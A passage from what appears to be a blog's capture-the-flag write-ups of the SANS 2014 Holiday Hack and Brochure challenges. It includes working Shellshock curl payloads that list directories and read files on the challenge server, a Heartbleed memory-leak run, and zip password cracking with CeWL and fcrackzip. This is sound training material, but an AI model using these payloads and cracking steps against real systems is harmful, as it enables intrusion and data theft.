YOU SEEM LIKE A NICE PERSON.  I THINK I CAN TRUST THE LINKS YOU SEND ME.
> browse to http://google.com
DOES THIS LOOK LIKE THE CORRECT PAGE?
GOOGLE

After saying you’re a nice person, ELIZA will accept the link you send, similar to saying “secret” or one of the other words 3 times.

Those were all the special triggers I found. There may be others.

Back to top

Stave 3

The Ghost of Hacking Present appears next and it’s Johnny Long.

Johnny said he had something “CeWL” for Scrooge which is a big hint we’ll use later. The spirit takes Scrooge to a nearby delicatessen where he sees Mrs. Cratchit and Tiny Tom having a discussion about a recent pen test of Tom’s. He was able to do some hacking for good, and Johnny hoped seeing this would change Scrooge’s ways and prove that hackers could do good in the world, much like Johnny’s own organization Hackers for Charity.

The pen test was against the Shelter for Impossibly Cute Orphaned Puppies, or SICOP as Tom refers to it. It’s unclear if SICOP here is a reference to SICOP (a tool for identifying Significant Co-interaction Patterns) or S.I.C.O.P – Sistema Integrado para Control de Proveedores or something else entirely. Clearly, nothing to do with the secret, but potentially another easter egg in the challenge.

The scene has no impact on Scrooge and Johnny says he’s left two secrets on Scrooge’s own website http://www.scrooge-and-marley.com/ that will “shock [his] heart”.

Web Secret #2

Looking around the site, there’s not much to it. A few images, though nothing significant was found in the EXIF data. There is a voice message from Scrooge, but it’s just reading the text on the page. There is a link to a “Contact Us” page at http://www.scrooge-and-marley.com/contact.html.

The source code of the page indicates the form does a GET to a shell script:

      <form role="form" action="/cgi-bin/submit.sh" method="GET">

At this point we have a few clues:

  • a shell script
  • Johnny said the secrets would “shock” Scrooge
  • The ELIZA line the uses the word “BASH”
  • we’re dealing with the Ghost of Hacking Present, and one of the biggest present day vulnerabilities was Shellshock, or the BashBug

Knowing this, we can attempt to exploit the script on this server and get a directory listing (using “echo *” (see below)) showing the submit.sh script in the current directory:

$ curl -A '() { :;}; echo; echo *'  "http://www.scrooge-and-marley.com/cgi-bin/submit.sh?name=blah&email=bob@bob.com"
submit.sh
Content-Type: text/html


<META http-equiv="refresh" content="0;URL=http://www.scrooge-and-marley.com/">

We can make the output a little easier to read by adding some additional echo statements. This will print the command output on the line after “OUTPUT:” and the HTTP response from the webserver after “RESPONSE:”.

$ curl -A '() { :;}; echo; echo; echo OUTPUT:; echo *; echo; echo RESPONSE:'  "http://www.scrooge-and-marley.com/cgi-bin/submit.sh?name=blah&email=bob@bob.com"

OUTPUT:
submit.sh

RESPONSE:
Content-Type: text/html


<META http-equiv="refresh" content="0;URL=http://www.scrooge-and-marley.com/">

It took some work to get a functioning command, along with a little help from a very timely post on the SANS Pen Test blog. The post starts off saying Ed Skoudis and Josh Wright were working on a recent project, which appears to have been this Holiday Challenge. The big takeaways from the post are how to do a directory listing and read a file in this restricted shell. The “echo *” used above is the equivalent of “ls.” We can use this to do some directory traversal.

One directory up:

$ curl -A '() { :;}; echo; echo; echo OUTPUT:; echo ../*; echo; echo RESPONSE:'  "http://www.scrooge-and-marley.com/cgi-bin/submit.sh?name=blah&email=bob@bob.com"

OUTPUT:
../1.png ../2.png ../3.png ../4.png ../a.mp3 ../a.ogg ../cgi-bin ../contact.html ../index.html

RESPONSE:
Content-Type: text/html


<META http-equiv="refresh" content="0;URL=http://www.scrooge-and-marley.com/">

Two directories up:

$ curl -A '() { :;}; echo; echo; echo OUTPUT:; echo ../../*; echo; echo RESPONSE:'  "http://www.scrooge-and-marley.com/cgi-bin/submit.sh?name=blah&email=bob@bob.com"

OUTPUT:
../../lock ../../run ../../www

RESPONSE:
Content-Type: text/html


<META http-equiv="refresh" content="0;URL=http://www.scrooge-and-marley.com/">

Three directories up:

$ curl -A '() { :;}; echo; echo; echo OUTPUT:; echo ../../../*; echo; echo RESPONSE:'  "http://www.scrooge-and-marley.com/cgi-bin/submit.sh?name=blah&email=bob@bob.com"

OUTPUT:
../../../bin ../../../dev ../../../etc ../../../lib ../../../lib64 ../../../run ../../../sbin ../../../secret ../../../selinux ../../../usr ../../../var

RESPONSE:
Content-Type: text/html


<META http-equiv="refresh" content="0;URL=http://www.scrooge-and-marley.com/">

It looks like there’s a file called “secret” in the root directory. Now we can use the advice on how to read a file by changing the echo command to “while read line; do echo “$line”; done < ../../../secret”:

$ curl -A '() { :;}; echo; echo; echo OUTPUT:; while read line; do echo "$line"; done < ../../../secret; echo; echo RESPONSE:'  "http://www.scrooge-and-marley.com/cgi-bin/submit.sh?name=blah&email=bob@bob.com"

OUTPUT:
Website Secret #2: Use your skills for good.

RESPONSE:
Content-Type: text/html


<META http-equiv="refresh" content="0;URL=http://www.scrooge-and-marley.com/">

So that gets us “Website Secret #2: Use your skills for good.”

Web Secret #1

Nothing else really stands out on the site as to how we might find secret number 1, so we can do an nmap scan:

$ nmap www.scrooge-and-marley.com

Starting Nmap 6.25 ( http://nmap.org ) at 2015-01-03 21:56 CST
Nmap scan report for www.scrooge-and-marley.com (23.239.15.124)
Host is up (0.063s latency).
rDNS record for 23.239.15.124: li723-124.members.linode.com
Not shown: 993 closed ports
PORT    STATE    SERVICE
22/tcp  open     ssh
25/tcp  filtered smtp
80/tcp  open     http
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
443/tcp open     https
445/tcp filtered microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 2.25 seconds

Of note here is that port 443, the standard HTTPS port is open. The site is accessible and looks the same if we connect to https://www.scrooge-and-marley.com/; however, we do have another clue. Shellshock was a big vulnerability this year, but another present day vulnerability is Heartbleed, and the ghost told Scrooge the secrets he placed would shock his “heart.”

We can download a publicly available exploit script for testing for the Heartbleed vulnerability and name it heartbleed-ssltest.py, then run it (the ‘grep’ is to remove null data so the output is smaller).

$ python heartbleed-ssltest.py www.scrooge-and-marley.com 443 | grep -v '00 00 00 00 00 00'
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0302, length = 58
 ... received message: type = 22, ver = 0302, length = 584
 ... received message: type = 22, ver = 0302, length = 397
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 02 FF FF D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  ......SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......
  0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....".
  0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00  !.9.8.........5.
  0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................
  0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00  ............3.2.
  0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00  ....E.D...../...
  0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00  A...............
  0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01  ................
  0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.
  00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00  2...............
  00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00  ................
  00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00  ................
  00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 76 65 64 25  ....#.......ved%
  00e0: 32 30 69 74 25 32 30 73 65 65 6D 65 64 25 32 30  20it%20seemed%20
  00f0: 74 6F 25 32 30 73 63 61 74 74 65 72 25 32 30 67  to%20scatter%20g
  0100: 6C 6F 6F 6D 25 32 30 61 6E 64 25 32 30 6D 79 73  loom%20and%20mys
  0110: 74 65 72 79 2E 25 30 41 25 30 41 49 74 25 32 30  tery.%0A%0AIt%20
  0120: 77 61 73 25 32 30 73 68 72 6F 75 64 65 64 25 32  was%20shrouded%2
  0130: 30 69 6E 25 32 30 61 25 32 30 64 65 65 70 25 32  0in%20a%20deep%2
  0140: 30 62 6C 61 63 6B 25 32 30 67 61 72 6D 65 6E 74  0black%20garment
  0150: 25 32 43 25 32 30 77 68 69 63 68 25 32 30 63 6F  %2C%20which%20co
  0160: 6E 63 65 61 6C 65 64 25 32 30 69 74 73 25 32 30  ncealed%20its%20
  0170: 68 65 61 64 25 32 43 25 32 30 69 74 73 25 32 30  head%2C%20its%20
  0180: 66 61 63 65 25 32 43 25 32 30 69 74 73 25 32 30  face%2C%20its%20
  0190: 66 6F 72 6D 25 32 43 25 32 30 61 6E 64 25 32 30  form%2C%20and%20
  01a0: 6C 65 66 74 25 32 30 6E 6F 74 68 69 6E 67 25 32  left%20nothing%2
  01b0: 30 6F 66 25 32 30 69 74 25 32 30 76 69 73 69 62  0of%20it%20visib
  01c0: 6C 65 25 32 30 73 61 76 65 25 32 30 6F 6E 65 25  le%20save%20one%
  01d0: 32 30 6F 75 74 73 74 72 65 74 63 68 65 64 25 32  20outstretched%2
  01e0: 30 68 61 6E 64 2E 25 32 30 42 75 74 25 32 30 66  0hand.%20But%20f
  01f0: 6F 72 25 32 30 74 68 69 73 25 32 30 69 74 25 32  or%20this%20it%2
  0200: 30 77 6F 75 6C 64 25 32 30 68 61 76 65 25 32 30  0would%20have%20
  0210: 62 65 65 6E 25 32 30 64 69 66 66 69 63 75 6C 74  been%20difficult
  0220: 25 32 30 74 6F 25 32 30 64 65 74 61 63 68 25 32  %20to%20detach%2
  0230: 30 69 74 73 25 32 30 66 69 67 75 72 65 25 32 30  0its%20figure%20
  0240: 66 72 6F 6D 25 32 30 74 68 65 25 32 30 6E 69 67  from%20the%20nig
  0250: 68 74 25 32 43 25 32 30 61 6E 64 25 32 30 73 65  ht%2C%20and%20se
  0260: 70 61 72 61 74 65 25 32 30 69 74 25 32 30 66 72  parate%20it%20fr
  0270: 6F 6D 25 32 30 74 68 65 25 32 30 64 61 72 6B 6E  om%20the%20darkn
  0280: 65 73 73 25 32 30 62 79 25 32 30 77 68 69 63 68  ess%20by%20which
  0290: 25 32 30 69 74 25 32 30 77 61 73 25 32 30 73 75  %20it%20was%20su
  02a0: 72 72 6F 75 6E 64 65 64 2E 25 32 30 26 57 65 62  rrounded.%20&Web
  02b0: 73 69 74 65 25 32 30 53 65 63 72 65 74 25 32 30  site%20Secret%20
  02c0: 25 32 33 31 3D 48 61 63 6B 69 6E 67 25 32 30 63  %231=Hacking%20c
  02d0: 61 6E 25 32 30 62 65 25 32 30 6E 6F 62 6C 65 25  an%20be%20noble%
  02e0: 32 65 68 92 53 EF 28 61 CF 95 2B C4 4A A2 F3 32  2eh.S.(a..+.J..2
  02f0: C3 CA 99 93 B5 0D 59 59 59 59 59 59 59 59 59 59  ......YYYYYYYYYY
  0300: 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59  YYYYYYYYYYYYYYYY
  0310: 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59  YYYYYYYYYYYYYYYY
  0320: 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59  YYYYYYYYYYYYYYYY
  0330: 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59  YYYYYYYYYYYYYYYY
  0340: 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59  YYYYYYYYYYYYYYYY
  0350: 79 79 79 79 79 79 79 79 79 79 79 79 79 79 79 79  yyyyyyyyyyyyyyyy
  0360: 79 79 79 79 79 79 79 79 79 79 79 79 79 79 79 79  yyyyyyyyyyyyyyyy
  0370: 99 99 99 99 99 99 99 99 99 99 99 99 99 99 99 99  ................
  0380: 99 99 99 99 99 99 99 99 99 99 99 99 99 99 99 99  ................
  0390: D9 D9 D9 D9 D9 D9 D9 D9 D9 D9 D9 D9 D9 D9 D9 D9  ................
  03a0: D9 D9 D9 D9 D9 D9 D9 D9 D9 D9 D9 D9 D9 D9 D9 D9  ................
  03b0: D9 D9 D9 D9 D9 D9 D9 D9 D9 D9 D9 D9 D9 D9 D9 D9  ................
  03c0: D9 D9 D9 D9 D9 D9 D9 D9 D9 D9 D9 D9 D9 D9 D9 D9  ................
  03d0: E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9  ................

WARNING: server returned more data than it should - server is vulnerable!

Sometimes it requires running the command a few times, but clearly, the server is vulnerable and the lines 02a0 through 02e0 contain the secret:

Website%20Secret%20%231=Hacking%20can%20be%20noble%2e

OR

Website Secret #1=Hacking can be noble.

Now we have both secrets from the Ghost of Hacking Present.

One final note on this section. When I first ran through the challenge, I ran Nikto against Scrooge’s site. It didn’t find anything related to secrets for the challenge, but it did find a server status page at http://www.scrooge-and-marley.com/server-status. The page allowed you to see all the HTTP requests coming into the server; however, that page was no longer available at the time of writing this report. Below is the output from nikto from when I ran the scan, but I don’t have an example of the page itself.

- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          23.239.15.124
+ Target Hostname:    www.scrooge-and-marley.com
+ Target Port:        80
+ Start Time:         2014-12-12 16:25:06 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Debian)
+ Server leaks inodes via ETags, header found with file /, inode: 132479, size: 4604, mtime: 0x509e19689069f
+ The anti-clickjacking X-Frame-Options header is not present.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ Uncommon header 'tcn' found, with contents: choice
+ OSVDB-561: /server-status: This reveals Apache information. Comment out appropriate line in httpd.conf or restrict access to allowed hosts.
+ 6545 items checked: 1664 error(s) and 5 item(s) reported on remote host
+ End Time:           2014-12-12 16:35:05 (GMT-5) (599 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Back to top

Stave 4

Finally, Scrooge meets the Ghost of Hacking Yet To Come. The spirit hands Scrooge a USB drive full of untold secret horrors. Though the drive is only 8MB, Scrooge sees enough to scare him into asking the spirit if it’s too late to change his ways. Then, the spirit shrivels down into a bedpost. Our challenge is to find four secrets the Ghost of Hacking Future left on the USB drive.

We can download the USB drive image as hhusb.dd.bin, then mount it in a Linux system:

# mount hhusb.dd.bin /mnt
# cd /mnt
# ls
hh2014-chat.pcapng  LetterFromJackToChuck.doc

PCAP – USB Secret #2

The first file is a pcap file hh2014-chat.pcapng. Opening it in Wireshark, there’s a web based chat in the PCAP, which was implied in the filename:

PHP chat

The chat messages are from a server at chat.scrooge-and-marley.com and all start with ‘{“id”‘ in the HTTP payload, so we can create a quick tcpdump command to dump all the messages. The -A will print all the ASCII in the packets; the first grep will only print chat lines, which start with {“id”; the first awk will extract the 6th field (colon delimited), which contains the message; and the last awk will print all but the last field (comma delimited), which removes a “timestamp” line in each message.

$ tcpdump -nnr hh2014-chat.pcapng -A | grep ^\{\"id\" | awk -F: '{print $6}' | awk -F',"' '{$NF=""}1'
reading from PCAP-NG file hh2014-chat.pcapng

"My Darling Husband, I do so appreciate your checking with Mr. Scrooge about the status of our debts.  If he would grant us just one more month, we may be able scrape together enough to meet him minimum payment and stay out of debtor's prison.  Please tell me of your progress, my love."
"As promised, I have indeed reached out to Mr. Scrooge to discuss our financial affairs with him, dear."
"Is it good... or bad?"
"Bad."
"We are quite ruined."
"No.  There is hope yet, Caroline."
"If he relents, there is.  Nothing is past hope, if such a miracle has happened."
"He is past relenting.  He is dead."
"That is wondrous news! To whom will our debt be transferred?"
"I don't know.  But before that time we shall be ready with the money.  And even if we are not, it would be a bad fortune indeed to find so merciless a creditor in his successor.  We may sleep tonight with light hearts, Caroline!"
"I've just told our children about Mr. Scrooge's death, and all of their faces are brighter for it.  We now have a very happy house. I so love you."
"I shall see you soon, my dear. Lovingly -- Samuel."

The message is between and man and woman, whose family was in debt to Scrooge, and contains a conversation in which the man was letting his wife know Scrooge is dead. She tells him the children were very happy to hear that news. This is definitely a message Scrooge wouldn’t like to see, but there’s no secret here.

The PCAP file is in .pcapng format, the next generation PCAP format, which allows comments. We can see packets in Wireshark by using the “pkt_comment” display filter:

Packet Comments

Alternatively, we can workout a single command to extract the comments in tshark using a similar filter.

$ tshark -nnr hh2014-chat.pcapng -2 -Y pkt_comment -V | grep comment -A 1 | egrep -v 'comment|--'
    VVNCIFNlY3JldCAjMjogWW91ciBkZW1pc2UgaXMgYSBzb3VyY2Ugb2YgcmVsaWVmLg==
    https://code.google.com/p/f5-steganography/

The Wireshark screenshot showed two packets and the command line kung fu extracted the two comments. The first is base64 encoded. We can pipe this output to a base64 decoder and get the secret (using -D here on Mac, on Linux use -d):

$ tshark -nnr hh2014-chat.pcapng -2 -Y pkt_comment -V | grep comment -A 1 | egrep -v 'comment|--'| base64 -D
USB Secret #2: Your demise is a source of relief.

So the PCAP contained USB Secret 2. The second comment with a URL to the F5 steganography tool is a hint for another secret.

DOC – USB Secret #1

The second file on the USB drive is a document, LetterToJackFromChuck.doc. The contents of the document are the following:

Date: 25 December 2034

From: Jonathan Pease, CEO GVC

To: Charles Booth, CEO Dickensian Enterprises LTD

Subject: Merry Christmas, My Good Man

Chuck,

I am writing to wish you a most splendid holiday season, old chap. I trust you will enjoy all the trappings of the upcoming festivities: mince pies, roast pheasant, chestnut stuffing, plum pudding, &c.

Oh, and I’d be remiss if I failed to mention that Old Scratch has got his own at last. Yes, Scrooge, that despicable worm, won’t be giving us the bother any more. I can’t help but chuckle to think of all those exploits he piled up over the years being handed to each and every vendor so they can fix their wares. All’s well that ends well, I always say. Yet another reason to celebrate a most jovial Yuletide.

More importantly, please pass on my holiday tidings to Elisabeth and the children.

Tally-ho!

Your friend,

There’s an image at the top showing the company of Jonathan Pease as Generic Victorian Company and another image of his signature at the bottom. There is no secret to find in the text, but we can see that they are saying all Scrooge’s exploits he stockpiled will be handed out to vendors to patch their wares. Since nothing was found in the content of the doc, we can look at the EXIF data. I’ve removed the less interesting fields and kept the rest:

$ exiftool LetterFromJackToChuck.doc
File Name                       : LetterFromJackToChuck.doc
Author                          : Jonathan Pease
Template                        : Normal.dotm
Last Modified By                : Jonathan Pease
Software                        : Microsoft Macintosh Word
Create Date                     : 2034:12:25 14:27:00
Modify Date                     : 2034:12:25 14:31:00
Manager                         : None. I run the company!
Company                         : Generic Victorian Company
Secret                          : USB Secret #1: Your demise is a source of mirth.

So we now have USB secret #1. We can also see that the ghost took Scrooge 20 years into the future based on the Create and Modify dates, which match the date in the body of the letter. The “Generic Victorian Company” also fits in with the Dickens theme.

Hidden Files

We only saw two files on the system, but it’s possible there are other files that are hidden. We can run the Sleuth Kit tool fls to look for any deleted or hidden files.

# fls -f ntfs -r hhusb.dd.bin 
r/r 4-128-4:	$AttrDef
r/r 8-128-2:	$BadClus
r/r 8-128-1:	$BadClus:$Bad
r/r 6-128-4:	$Bitmap
r/r 7-128-1:	$Boot
d/d 11-144-4:	$Extend
+ r/r 25-144-2:	$ObjId:$O
+ r/r 24-144-3:	$Quota:$O
+ r/r 24-144-2:	$Quota:$Q
+ r/r 26-144-2:	$Reparse:$R
+ d/d 27-144-2:	$RmMetadata
++ r/r 28-128-4:	$Repair
++ r/r 28-128-2:	$Repair:$Config
++ d/d 30-144-2:	$Txf
++ d/d 29-144-2:	$TxfLog
+++ r/r 31-128-2:	$Tops
+++ r/r 31-128-4:	$Tops:$T
r/r 2-128-1:	$LogFile
r/r 0-128-1:	$MFT
r/r 1-128-1:	$MFTMirr
r/r 9-128-8:	$Secure:$SDS
r/r 9-144-6:	$Secure:$SDH
r/r 9-144-5:	$Secure:$SII
r/r 10-128-1:	$UpCase
r/r 3-128-3:	$Volume
r/r 32-128-1:	hh2014-chat.pcapng
r/r 32-128-5:	hh2014-chat.pcapng:Bed_Curtains.zip
r/r 33-128-1:	LetterFromJackToChuck.doc
-/r * 34-128-1:	Tiny_Tom_Crutches_Final.jpg
d/d 256:	$OrphanFiles

Most of the files start with a $ and are NTFS system files, but the output contains two interesting lines:

  • r/r 32-128-5: hh2014-chat.pcapng:Bed_Curtains.zip
  • -/r * 34-128-1: Tiny_Tom_Crutches_Final.jpg

The first file Bed_Curtains.zip is in an Alternate Data Stream in the hh2014-chat.pcapng file. The second file Tiny_Tom_Crutches_Final.jpg is a recently deleted file whose MFT record hasn’t been overwritten yet.

We can extract the files with another Sleuth Kit tool icat:

# icat -f ntfs hhusb.dd.bin 32-128-5 > Bed_Curtains.zip 
# file Bed_Curtains.zip 
Bed_Curtains.zip: Zip archive data, at least v2.0 to extract

# icat -f ntfs hhusb.dd.bin 34-128-1 > Tiny_Tom_Crutches_Final.jpg 
# file Tiny_Tom_Crutches_Final.jpg 
Tiny_Tom_Crutches_Final.jpg: JPEG image data, JFIF standard 1.00, comment: "JPEG Encoder Copyright 1998, James R. Weeks and BioElectroMech\261"

ZIP – USB Secret #3

We can try unzipping the file; however, it’s password protected:

# unzip Bed_Curtains.zip 
Archive:  Bed_Curtains.zip
[Bed_Curtains.zip] Bed_Curtains.png password:

We need to crack the password. The Ghost of Hacking Present gave a hint about wanting to show Scrooge something “CeWL.” CeWL is a custom wordlist generator. You can point CeWL at a website and it will create a wordlist file, so we can use CeWL against Scrooge’s website.

# ruby cewl.rb http://scrooge-and-marley.com/ > scrooge-wordlist.txt
# wc scrooge-wordlist.txt 
 4243  4243 18969 scrooge-wordlist.txt

Now that we have a wordlist, we can use fcrackzip to try the passwords in the wordlist against the zip file:

# fcrackzip -v -D -u -p scrooge-wordlist.txt Bed_Curtains.zip 
found file 'Bed_Curtains.png', (size cp/uc 1429113/1434946, flags 9, chk 4d1a)


PASSWORD FOUND!!!!: pw == shambolic
# unzip Bed_Curtains.zip 
Archive:  Bed_Curtains.zip
[Bed_Curtains.zip] Bed_Curtains.png password: 
  inflating: Bed_Curtains.png     

The successful password was used by ELIZA in the first challenge as mentioned earlier and CeWL found it in a comment in the source code of Scrooge’s site as follows:

	/* shambolic CSS, natch */

The PNG image looks like the following:

Bed_Curtains

The image is a page from A Christmas Carol of a scene where a woman is describing how she took the bed curtains and blankets from the dead body of Scrooge. No secrets are in the image, but we can look at the EXIF data and obtain the secret, another one talking about Scrooge’s demise, and again with a date in the future.

$ exiftool Bed_Curtains.png
File Name                       : Bed_Curtains.png
Comment                         : USB Secret #3: Your demise is a source of gain for others.
Modify Date                     : 2034:12:25 13:30:00

JPG – USB Secret #4

The deleted JPG image is the following:

Tiny_Tom_Crutches_Final

Looking around the image, there are no hidden secrets and nothing in the EXIF data. Since we have an image, we can try running stegdetect to look for any steganography, which would allow hiding data inside an image.

# stegdetect Tiny_Tom_Crutches_Final.jpg 
Tiny_Tom_Crutches_Final.jpg : f5(***)

Stegdetect tells us f5, which we can combine with the other comment from the PCAP giving us a URL to https://code.google.com/p/f5-steganography/. F5 is a Java steganograhpy tool.

# java -jar f5.jar x -e Tiny.txt Tiny_Tom_Crutches_Final.jpg
Huffman decoding starts
Permutation starts
423168 indices shuffled
Extraction starts
Length of embedded file: 116 bytes
(1, 127, 7) code used

# ls -l Tiny.txt 
-rw-rw-r-- 1 sieve sieve 116 Jan  4 19:51 Tiny.txt

# cat Tiny.txt 
Tiny Tom has died.

USB Secret #4: You can prevent much grief and cause much joy. Hack for good, not evil or greed.

This gives us the final USB secret #4, and we’re done with the challenge. And just like in A Christmas Carol, Scrooge in our story is surely shaken by the news of Tiny Tom’s death.

Back to top

Stave 5

The spirits were successful and Scrooge has changed his ways. He finds a boy on the street to buy a furnace and deliver it to his Secret Room for Tom and Lynn. Scrooge visits his nephew for Christmas dinner and they make hacking plans for good. Also, Tiny Tom does not die, which I’m sure Tom Hessman is happy about!

Back to top

by

2014 SANS Brochure Challenge

No comments yet

Categories: Challenges

In July, SANS announced the 2014 SANS Brochure Challenge. Over the course of 4 SANS event brochures, there would be hidden messages and codes and solving each one would lead to a series of other challenges. I spent a couple hours on them and was able to work my way through everything. It was a fun challenge and there were a few interesting elements (see the QR code embedded in an audio file). Here’s my write up.

There were 4 brochures shipped in July and August that were the starting points for each of the challenges. The name will take you to my write up for that brochure and the link goes to the PDF of the brochure. The Network Security brochure has the full introduction to the challenge, but the first piece of the challenge is really in the Albuquerque challenge, so I’ll start there.

SANS Albuquerque

Page 6 of the PDF (page 4 on the brochure) has a small banner on the left side with the following text:

SANS_base64

The equals signs are usually a giveaway for Base64 encoding, and sure enough we can decode this.

$ echo aHR0cDovL2JpdC5seS8xbHA5MEx6Cg== | base64 -D
http://bit.ly/1lp90Lz

This link redirects to http://brochure2014.counterhack.com/Challenge-1-Level-1-2F381761-B9C1-424F-AD21-51C19E1D5688/.

This page has the following text:

Great work! You are a master of MIME encodings.

The challenge is just starting, though, and resistance is futile. You’ll need to prove your assimilation of knowledge before you can proceed.

Which three annual SANS conferences have the most classes being taught? Remove the year and spaces from the conference titles, order the conferences from east to west, then add the three conferences to the end of http://bit.ly/SANS_ to generate the next URL. The answer is the same whether you search for training globally or just in North America.

For example, if the three conferences were SANS Rocky Mountain 2014, SANS Security West 2014, and SANS Virginia Beach 2014, the correct URL would be http://bit.ly/SANS_SANSVirginiaBeachSANSRockyMountainSANSSecurityWest.

The list of SANS conferences is at https://www.sans.org/security-training/by-location/north-america. By looking at the number of classes at each event, we can put together the list. The conferences are SANS FIRE, SANS (in Orlando), and SANS Network Security, which gives the link http://bit.ly/SANS_SANSFIRESANSSANSNetworkSecurity which redirects to http://brochure2014.counterhack.com/Challenge-1-Level-2-A6C853E7-945C-4DEF-ADAD-B1F0D8D619CC/.

This page has the following text:

Fascinating. You have an efficient intellect.

You’ve proven your knowledge of SANS lore. You have a continuing mission, though – starting with the below question.

Alice has sent Bob an encrypted file. Find it, decrypt it, and follow the URL inside.

Download this file to answer the question.

The file at the link is a PCAP file.

Opening the file in Wireshark, there are a few interesting streams:

Applying a filter of “tcp.stream eq 20” contains the following in a POST request:

SANS_20_post

Take the content of the POST

s=75d28bf1d1cc1a104334494b15f1a20f&c=PRIVMSG%20%23memory-alpha%20%3ASheesh%2C%20I%20like%20this%20page%20more%20than%20I%20should.%20Bones’%20quotes%20are%20especially%20great%3A%20http%3A%2F%2Fmovies.yahoo.com%2Fblogs%2Fmovie-talk%2Ffascinating-star-trek-quotes-gallery-most-misquoted-line-014308748.html

And paste it into the URL Encoded box on http://www.asciitohex.com then click convert. The Text section at the top will now have:

s=75d28bf1d1cc1a104334494b15f1a20f&c=PRIVMSG #memory-alpha :Sheesh, I like this page more than I should. Bones’ quotes are especially great: http://movies.yahoo.com/blogs/movie-talk/fascinating-star-trek-quotes-gallery-most-misquoted-line-014308748.html

That URL will not be needed now, but we’ll take note of it for later.

The filter “tcp.stream eq 28” has another interesting POST we can decode in the same way:

SANS_28_post

s=75d28bf1d1cc1a104334494b15f1a20f&c=PRIVMSG #memory-alpha :Oh, that reminds me. I’ve gotta send Bob that file. I’ll encrypt it so Eve won’t take a look this time, though.

Then, tcp.stream eq 29 contains an SMB file transfer. By using “File | Export Objects | SMB/SMB2” in Wireshark, we can export “for_bob.7z”:

SANS_for_bob

As indicated in the IRC message, this file is encrypted so we need the password.

Using the filter “tcp.stream eq 35”, we see a short metasploit session:

SANS_wce

Unfortunately, these passwords won’t unzip the for_bob.7z file, but again we can save this information for later. Instead, if we return to the Yahoo page containing the Star Trek quotes and look for ones by Bones, we’ll find that the password is “Space is disease and danger wrapped in darkness and silence.” (without the quotes).

Extracting the zip with that password reveals a supersecret.txt with the following:

Bob,

I’ve encrypted this message so Eve can’t intercept it. I can’t believe she’s *still* listening in on our conversations. We’ve been talking for what, thirty-five years? More?

Anyway, here’s the link I promised: http://bit.ly/1hhVjGP

– Alice

P.S.
As for our normal conversations, here’s my favorite cat video: http://www.youtube.com/watch?v=Of2HU3LGdbo

The bit.ly link goes to http://brochure2014.counterhack.com/Challenge-1-Level-3-B9157BE3-2D0E-4674-9483-4D23F194270E/ which has the text:

Congratulations, you’ve graduated from Starfleet Academy! Before you make Captain, though, you’ll need to solve other challenges to unlock the final piece of this puzzle.

Remember what comes first as you proceed, though: “Mister Donut Always Delivers Muffins”. Download here.

“Download here” is a link to http://brochure2014.counterhack.com/Challenge-1-Level-3-B9157BE3-2D0E-4674-9483-4D23F194270E/file1.

The hint reads “Mister Donut Always Delivers Muffins”. The first letter of each word makes an acronym MDADM and, with a simple search, we can determine it refers to mdadm, a Linux software RAID utility. We have file1 now, and we will need the other image files to complete the RAID. Each challenge will end with a different file, so we’ll have 4 files in total.

Back to top

SANS Baltimore

Page 7 of the PDF (page 5 on the brochure) has the brochure challenge banner in this issue with the following Morse Code:

SANS_morse

This translates to

BITSTOPLYSLASH1JZLD0N

or

bit.ly/1JZLD0N

This redirects to http://brochure2014.counterhack.com/Challenge-2-Level-1-98ED8090-21D0-4C4D-BC23-4130CBC70878/.

Which has the following text:

The Force is strong with our family of SANS instructors. Extract the following intel from instructors’ presentations.

Be warned, though. Some of these items are as elusive as womp rats.

  1. Out of the three highlighted prefetch entries in Alissa Torres’ presentation from DFIR Summit 2012, what corresponding executable is not included in default Windows installations? (Answer in all lowercase)
  2. Examine the “Integrating Mobile and Network Attacks for In-Depth Pwnage” presentation by Ed Skoudis and Josh Wright. According to Alan Paller, what don’t we have enough of? (Answer in all lowercase)
  3. What is the username whose token Bryce Galbraith impersonates in his Seattle 2013 presentation? (just the username, no domain)

Add the three answers to http://bit.ly/SANS_ (without spaces, all lowercase) in order to reveal the next challenge.

Alissa’s presentation is at http://digital-forensics.sans.org/summit-archives/2012/why-not-to-stay-in-your-lane-as-a-digital-forensic-examiner.pdf. Page 6 contains a list of prefetch files and the non-default Windows application is strings.exe.

SANS_strings

Ed and Josh’s presentation is at https://blogs.sans.org/pen-testing/files/2014/01/561-webcast.pdf. Slide 24 contains the quote from Alan Paller with the answer being pilots.

SANS_pilots

Finally, Bryce’s presentation is at http://www.slideshare.net/brycegalbraith/why-are-our-defenses-failing-one-click-is-all-it-takes. Slide 31 shows a meterpreter session where he impersonates the token of nickburns.

SANS_nickburns

